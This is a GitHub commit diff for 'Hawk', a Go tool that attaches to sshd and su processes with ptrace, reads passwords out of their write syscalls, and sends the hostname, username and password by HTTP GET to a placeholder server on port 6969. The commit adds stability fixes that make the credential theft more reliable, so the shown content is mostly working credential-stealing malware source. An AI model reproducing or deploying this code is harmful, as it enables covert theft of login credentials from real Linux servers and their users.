Skip to content

Commit

Permalink
Merge pull request #3 from ProDefense/22624-debug
Browse files Browse the repository at this point in the history
Stability Improvements
  • Loading branch information
MattKeeley authored Mar 2, 2024
2 parents a2358c4 + bf4cdfc commit da46187
Show file tree
Hide file tree
Showing 5 changed files with 46 additions and 31 deletions.
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -17,7 +17,7 @@ Hawk is a lightweight Golang tool designed to monitor the `sshd` and `su` servic
## Build

```bash
go build -o hawk
GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -o hawk
```

## Usage
Expand Down
26 changes: 26 additions & 0 deletions helpers.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
package main

import (
"unicode"
)

func contains(slice []int, value int) bool {
for _, v := range slice {
if v == value {
return true
}
}
return false
}

func removeNonPrintableAscii(input string) string {
var resultBuilder []rune

for _, char := range input {
if unicode.IsPrint(char) && char >= 32 && char != 127 {
resultBuilder = append(resultBuilder, char)
}
}

return string(resultBuilder)
}
19 changes: 6 additions & 13 deletions main.go
Original file line number Diff line number Diff line change
Expand Up @@ -44,21 +44,21 @@ func is_SU_PID(pid int) bool {
if err != nil {
return false
}
return regexp.MustCompile(`su `).MatchString(strings.ReplaceAll(string(cmdline), "\x00", " "))
return regexp.MustCompile(`^su `).MatchString(strings.ReplaceAll(string(cmdline), "\x00", " "))
}

func exfil_password(username, password string) {
hostname, err := os.Hostname()
if err != nil {
return
}
serverURL := "http://fill:6969/"
serverURL := "http://FILL:6969/"
values := url.Values{}
values.Set("hostname", hostname)
values.Set("username", username)
values.Set("password", password)
fullURL := fmt.Sprintf("%s?%s", serverURL, values.Encode())
fmt.Printf("Sending to %s\n", fullURL)
//fmt.Printf("Sending to %s\n", fullURL)
http.Get(fullURL)
}

Expand All @@ -75,6 +75,7 @@ func main() {
if !processedFirstPID {
processedFirstPID = true
} else {
//fmt.Println("SSHD process found with PID:", pid)
go traceSSHDProcess(pid)
processed_pids = append(processed_pids, pid)
}
Expand All @@ -83,22 +84,14 @@ func main() {
if !processedFirstPID {
processedFirstPID = true
} else {
//fmt.Println("SU process found with PID:", pid)
go traceSUProcess(pid)
processed_pids = append(processed_pids, pid)
}
}

processedPIDsMutex.Unlock()
}
time.Sleep(1 * time.Second)
time.Sleep(250 * time.Millisecond)
}
}

func contains(slice []int, value int) bool {
for _, v := range slice {
if v == value {
return true
}
}
return false
}
27 changes: 10 additions & 17 deletions ssh_tracer.go
Original file line number Diff line number Diff line change
Expand Up @@ -4,22 +4,24 @@ import (
"fmt"
"io/ioutil"
"regexp"
"runtime"
"strings"
"syscall"
"unicode"
)

func traceSSHDProcess(pid int) {
runtime.LockOSThread()
defer runtime.UnlockOSThread()
err := syscall.PtraceAttach(pid)
if err != nil {
return
}
defer func() {
syscall.PtraceDetach(pid)
}()

var wstatus syscall.WaitStatus
var exfiled bool
for {

_, err := syscall.Wait4(pid, &wstatus, 0, nil)
if err != nil {
return
Expand All @@ -36,24 +38,27 @@ func traceSSHDProcess(pid int) {
syscall.PtraceDetach(pid)
return
}
// Find some way to only find it once

if regs.Rdi == 5 && regs.Orig_rax == 1 {
buffer := make([]byte, regs.Rdx)
_, err := syscall.PtracePeekData(pid, uintptr(regs.Rsi), buffer)
if err != nil {
return
}

if len(buffer) < 250 && len(buffer) > 5 && string(buffer) != "" {
username := "root"
cmdline, _ := ioutil.ReadFile(fmt.Sprintf("/proc/%d/cmdline", pid))
matches := regexp.MustCompile(`sshd: ([a-zA-Z]+) \[net\]`).FindSubmatch(cmdline)
if len(matches) == 2 {
username = string(matches[1])
}

var password = removeNonPrintableAscii(string(buffer))
if len(password) > 2 && len(password) < 250 {
if len(password) > 2 && len(password) < 100 && exfiled && !strings.HasPrefix(password, "fSHA256") {
go exfil_password(username, removeNonPrintableAscii(password))
}
exfiled = !exfiled
}
}
}
Expand All @@ -64,15 +69,3 @@ func traceSSHDProcess(pid int) {
}
}
}

func removeNonPrintableAscii(input string) string {
var resultBuilder []rune

for _, char := range input {
if unicode.IsPrint(char) && char >= 32 && char != 127 {
resultBuilder = append(resultBuilder, char)
}
}

return string(resultBuilder)
}
3 changes: 3 additions & 0 deletions su_tracer.go
Original file line number Diff line number Diff line change
Expand Up @@ -3,12 +3,15 @@ package main
import (
"fmt"
"io/ioutil"
"runtime"
"strings"
"syscall"
"unicode"
)

func traceSUProcess(pid int) {
runtime.LockOSThread()
defer runtime.UnlockOSThread()
err := syscall.PtraceAttach(pid)
if err != nil {
return
Expand Down

0 comments on commit da46187

Please sign in to comment.